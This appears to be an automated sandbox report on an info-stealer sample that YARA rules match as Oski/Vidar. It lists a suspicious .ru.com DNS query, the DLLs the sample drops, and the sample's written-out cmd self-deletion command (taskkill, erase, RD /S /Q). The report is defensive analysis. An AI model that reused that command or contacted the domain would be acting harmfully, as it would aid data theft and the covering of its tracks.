Source: PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.mozilla.com0
Source: PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown

DNS traffic detected: queries for: 9enternecera.ru.com

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe

Code function: 0_2_00511CF0 InternetSetFilePointer,InternetReadFile,_memset,HttpQueryInfoA,_memcpy_s,_memcpy_s,

0_2_00511CF0

System Summary

Malicious sample detected (through community Yara rule)

Source: PmX1jHdUnS.exe, type: SAMPLE	Matched rule: Windows_Trojan_OskiStealer_a158b1e3 Author: unknown
Source: PmX1jHdUnS.exe, type: SAMPLE	Matched rule: Detects Vidar / ArkeiStealer Author: ditekSHen
Source: 0.0.PmX1jHdUnS.exe.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_OskiStealer_a158b1e3 Author: unknown
Source: 0.0.PmX1jHdUnS.exe.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Vidar / ArkeiStealer Author: ditekSHen
Source: 0.2.PmX1jHdUnS.exe.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_OskiStealer_a158b1e3 Author: unknown
Source: 0.2.PmX1jHdUnS.exe.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Vidar / ArkeiStealer Author: ditekSHen
Source: 00000000.00000002.1299679239.0000000000517000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_OskiStealer_a158b1e3 Author: unknown
Source: 00000000.00000000.1241608281.0000000000517000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_OskiStealer_a158b1e3 Author: unknown
Source: Process Memory Space: PmX1jHdUnS.exe PID: 7776, type: MEMORYSTR	Matched rule: Windows_Trojan_OskiStealer_a158b1e3 Author: unknown

Source: PmX1jHdUnS.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: PmX1jHdUnS.exe, type: SAMPLE	Matched rule: Windows_Trojan_OskiStealer_a158b1e3 reference_sample = 568cd515c9a3bce7ef21520761b02cbfc95d8884d5b2dc38fc352af92356c694, os = windows, severity = x86, creation_date = 2022-03-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.OskiStealer, fingerprint = 3996a89d37494b118654f3713393f415c662850a5a76afa00e83f9611aee3221, id = a158b1e3-21b7-4009-9646-6bee9bde98ad, last_modified = 2022-04-12
Source: PmX1jHdUnS.exe, type: SAMPLE	Matched rule: MALWARE_Win_Vidar author = ditekSHen, description = Detects Vidar / ArkeiStealer
Source: 0.0.PmX1jHdUnS.exe.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_OskiStealer_a158b1e3 reference_sample = 568cd515c9a3bce7ef21520761b02cbfc95d8884d5b2dc38fc352af92356c694, os = windows, severity = x86, creation_date = 2022-03-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.OskiStealer, fingerprint = 3996a89d37494b118654f3713393f415c662850a5a76afa00e83f9611aee3221, id = a158b1e3-21b7-4009-9646-6bee9bde98ad, last_modified = 2022-04-12
Source: 0.0.PmX1jHdUnS.exe.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Vidar author = ditekSHen, description = Detects Vidar / ArkeiStealer
Source: 0.2.PmX1jHdUnS.exe.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_OskiStealer_a158b1e3 reference_sample = 568cd515c9a3bce7ef21520761b02cbfc95d8884d5b2dc38fc352af92356c694, os = windows, severity = x86, creation_date = 2022-03-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.OskiStealer, fingerprint = 3996a89d37494b118654f3713393f415c662850a5a76afa00e83f9611aee3221, id = a158b1e3-21b7-4009-9646-6bee9bde98ad, last_modified = 2022-04-12
Source: 0.2.PmX1jHdUnS.exe.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Vidar author = ditekSHen, description = Detects Vidar / ArkeiStealer
Source: 00000000.00000002.1299679239.0000000000517000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_OskiStealer_a158b1e3 reference_sample = 568cd515c9a3bce7ef21520761b02cbfc95d8884d5b2dc38fc352af92356c694, os = windows, severity = x86, creation_date = 2022-03-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.OskiStealer, fingerprint = 3996a89d37494b118654f3713393f415c662850a5a76afa00e83f9611aee3221, id = a158b1e3-21b7-4009-9646-6bee9bde98ad, last_modified = 2022-04-12
Source: 00000000.00000000.1241608281.0000000000517000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_OskiStealer_a158b1e3 reference_sample = 568cd515c9a3bce7ef21520761b02cbfc95d8884d5b2dc38fc352af92356c694, os = windows, severity = x86, creation_date = 2022-03-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.OskiStealer, fingerprint = 3996a89d37494b118654f3713393f415c662850a5a76afa00e83f9611aee3221, id = a158b1e3-21b7-4009-9646-6bee9bde98ad, last_modified = 2022-04-12
Source: Process Memory Space: PmX1jHdUnS.exe PID: 7776, type: MEMORYSTR	Matched rule: Windows_Trojan_OskiStealer_a158b1e3 reference_sample = 568cd515c9a3bce7ef21520761b02cbfc95d8884d5b2dc38fc352af92356c694, os = windows, severity = x86, creation_date = 2022-03-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.OskiStealer, fingerprint = 3996a89d37494b118654f3713393f415c662850a5a76afa00e83f9611aee3221, id = a158b1e3-21b7-4009-9646-6bee9bde98ad, last_modified = 2022-04-12

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_00503C90	0_2_00503C90
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_00503480	0_2_00503480
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_00503060	0_2_00503060
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_00503AA0	0_2_00503AA0
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_004F4B10	0_2_004F4B10

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: String function: 004F8C20 appears 41 times
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: String function: 00512F70 appears 391 times

Source: PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemozglue.dll8 vs PmX1jHdUnS.exe
Source: PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesoftokn3.dll8 vs PmX1jHdUnS.exe
Source: PmX1jHdUnS.exe, 00000000.00000003.1278419085.00000000036E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dll^ vs PmX1jHdUnS.exe
Source: PmX1jHdUnS.exe, 00000000.00000003.1274708882.0000000003CE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamenss3.dll8 vs PmX1jHdUnS.exe
Source: PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefreebl3.dll8 vs PmX1jHdUnS.exe
Source: PmX1jHdUnS.exe, 00000000.00000003.1266576568.000000000381B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsvcp140.dll^ vs PmX1jHdUnS.exe
Source: PmX1jHdUnS.exe, 00000000.00000003.1266837064.00000000036E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsvcp140.dll^ vs PmX1jHdUnS.exe
Source: PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamenss3.dll8 vs PmX1jHdUnS.exe

Source: sqlite3.dll.0.dr

Static PE information: Number of sections : 19 > 10

Source: PmX1jHdUnS.exe

ReversingLabs: Detection: 81%

Source: PmX1jHdUnS.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PmX1jHdUnS.exe C:\Users\user\Desktop\PmX1jHdUnS.exe
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /pid 7776 & erase C:\Users\user\Desktop\PmX1jHdUnS.exe & RD /S /Q C:\\ProgramData\\359572487740756\\* & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /pid 7776
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /pid 7776 & erase C:\Users\user\Desktop\PmX1jHdUnS.exe & RD /S /Q C:\\ProgramData\\359572487740756\\* & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /pid 7776	Jump to behavior

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( ProcessId = 7776)

Source: classification engine

Classification label: mal100.troj.spyw.winEXE@6/13@1/1

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe

File read: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1003\desktop.ini

Jump to behavior

Source: PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: PmX1jHdUnS.exe, 00000000.00000003.1274482386.0000000003F35000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258601655.0000000003984000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274023844.0000000003E0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273715673.0000000003CE5000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258141820.00000000038E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273467498.0000000003DF4000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258873737.0000000003A3E000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258519594.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258408136.0000000003A0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274708882.0000000003CE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: PmX1jHdUnS.exe, 00000000.00000003.1274482386.0000000003F35000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274023844.0000000003E0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273715673.0000000003CE5000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273467498.0000000003DF4000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274708882.0000000003CE7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273590119.0000000003F02000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273048111.0000000003EDB000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273212366.0000000003CEA000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);docid INTEGER PRIMARY KEY%z, 'c%d%q'%z, langidCREATE TABLE %Q.'%q_content'(%s)CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);m
Source: PmX1jHdUnS.exe, 00000000.00000003.1258601655.0000000003984000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258141820.00000000038E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258873737.0000000003A3E000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258519594.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258408136.0000000003A0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258239593.0000000003970000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1260683008.0000000003831000.00000004.00000020.00020000.00000000.sdmp, sqlite3.dll.0.dr	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
Source: PmX1jHdUnS.exe, 00000000.00000003.1258601655.0000000003984000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258141820.00000000038E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258873737.0000000003A3E000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258519594.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258408136.0000000003A0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258239593.0000000003970000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1260683008.0000000003831000.00000004.00000020.00020000.00000000.sdmp, sqlite3.dll.0.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: PmX1jHdUnS.exe, 00000000.00000003.1274482386.0000000003F35000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258601655.0000000003984000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274023844.0000000003E0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273715673.0000000003CE5000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258141820.00000000038E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273467498.0000000003DF4000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258873737.0000000003A3E000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258519594.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258408136.0000000003A0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274708882.0000000003CE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: PmX1jHdUnS.exe, 00000000.00000003.1258601655.0000000003984000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258141820.00000000038E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258873737.0000000003A3E000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258519594.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258408136.0000000003A0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258239593.0000000003970000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1260683008.0000000003831000.00000004.00000020.00020000.00000000.sdmp, sqlite3.dll.0.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: PmX1jHdUnS.exe, 00000000.00000003.1258601655.0000000003984000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258141820.00000000038E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258873737.0000000003A3E000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258519594.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258408136.0000000003A0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258239593.0000000003970000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1260683008.0000000003831000.00000004.00000020.00020000.00000000.sdmp, sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
Source: PmX1jHdUnS.exe, 00000000.00000003.1274482386.0000000003F35000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258601655.0000000003984000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274023844.0000000003E0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273715673.0000000003CE5000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258141820.00000000038E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1273467498.0000000003DF4000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258873737.0000000003A3E000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258519594.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1258408136.0000000003A0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274708882.0000000003CE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
